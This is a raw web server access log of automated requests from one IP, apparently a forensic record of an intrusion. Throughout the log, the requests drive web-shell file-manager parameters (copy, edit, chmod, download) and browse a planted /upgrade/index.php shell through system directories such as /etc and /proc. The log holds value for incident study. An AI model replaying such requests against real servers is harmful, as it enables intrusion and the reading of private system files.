45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?del=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /biotaiwan.com.tw/widget-transformer HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/widget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /biotaiwan.com.tw/widget-transformer/ HTTP/1.1" 200 6497 "https://163.245.207.76:443/biotaiwan.com.tw/widget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:45 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Flicense.txt&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Flicense.txt&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?dl=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /biotaiwan.com.tw/widget-transformer/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Findex.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Findex.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?chmod=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /biotaiwan.com.tw/widget-transformer/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Fadmin.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer%2Fadmin.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?edit=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fthoms.php&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fthoms.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fthoms.php&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fthoms.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fthoms.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?edit=mah.php&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fmah.php&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fmah.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10956 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fmah.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /thoms.php?copy=cgi-bin%2Fmah.php&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fmah.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6915 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F HTTP/1.1" 200 7744 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F HTTP/1.1" 200 5758 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 200 6754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 46871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 31340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:47 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11069 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 200 6754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 47590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/img/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 33799 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 28689 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/public/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F HTTP/1.1" 200 5782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F HTTP/1.1" 200 7777 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6783 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fmnt HTTP/1.1" 200 5698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fafs HTTP/1.1" 200 5698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fbin HTTP/1.1" 200 95690 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fvar HTTP/1.1" 200 7367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /thoms.php?edit=thoms.php&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?file_location=%2F%2F%2F.autorelabel&location=%2F%2F HTTP/1.1" 200 7744 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fadmin HTTP/1.1" 200 5725 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:48 -0400] "GET /upgrade/?location=%2F%2Fetc HTTP/1.1" 200 28659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fproc HTTP/1.1" 200 27441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fsrv HTTP/1.1" 200 5698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2F&option=dir HTTP/1.1" 200 7694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fmedia HTTP/1.1" 200 5698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Frun HTTP/1.1" 200 11686 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2F&option=file HTTP/1.1" 200 7694 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Flib64 HTTP/1.1" 200 103767 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2F&option=folder HTTP/1.1" 200 7698 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fbackup HTTP/1.1" 200 5727 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:49 -0400] "GET /upgrade/?location=%2F%2Fboot HTTP/1.1" 200 8072 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
